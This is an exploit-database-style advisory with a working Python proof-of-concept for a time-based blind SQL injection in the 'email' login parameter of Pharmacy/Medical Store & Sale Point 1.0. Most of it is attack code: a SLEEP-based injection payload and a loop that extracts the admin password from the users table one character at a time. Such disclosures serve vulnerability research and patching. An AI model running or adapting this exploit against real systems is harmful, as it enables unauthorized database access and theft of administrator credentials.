Pharmacy/Medical Store & Sale Point 1.0 – ’email’ SQL Injection
# Exploit Title: Pharmacy/Medical Store & Sale Point 1.0 - 'email' SQL Injection # Date: 2020-08-23 # Exploit Author: @naivenom # Vendor Homepage: https://www.sourcecodester.com/php/14398/pharmacymedical-store-sale-point-using-phpmysql-bootstrap-framework.html # Software Link: https://www.sourcecodester.com/download-code?nid=14398&title=Pharmacy%2FMedical+Store+%26+Sale+Point+Using+PHP%2FMySQL+with+Bootstrap+Framework # Version: 1.0 # Tested on: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4 This parameter "email" is vulnerable to Time-Based blind SQL injection in this path "/medical/login.php " that leads to retrieve all databases. #exploit import re import requests from bs4 import BeautifulSoup import sys import urllib3 import time urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # We can test the time based blind sqli with this script. This script testing with each character of the password column from users name table # and retrieve password from admin user. def time_based_blind_sqli(injection_string): target = "http://localhost:81/medical-store-source/login.php" for j in range(32,126): data = {'email': "%s" % (injection_string.replace("[CHAR]", str(j))), 'password':'xJXb', 'login':''} tim = time.time() r = requests.post(target,data = data, verify=False) nowtime = time.time() curren = nowtime-tim if curren <= 4: return j return None def main(): print("\n(+) Retrieving password from admin user...") # 5 is length of the password. This can # be dynamically stolen from the database as well! for i in range(1,5): injection_string = "admin@admin.com' AND (SELECT 1100 FROM (SELECT(SLEEP(4-(IF(ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM store.users ORDER BY password LIMIT 0,1),%d,1))>[CHAR],0,1)))))soLu) AND 'yHIV'='yHIV" % i extracted_char = chr(time_based_blind_sqli(injection_string)) sys.stdout.write(extracted_char) sys.stdout.flush() print("\n(+) done!") if __name__ == "__main__": main() |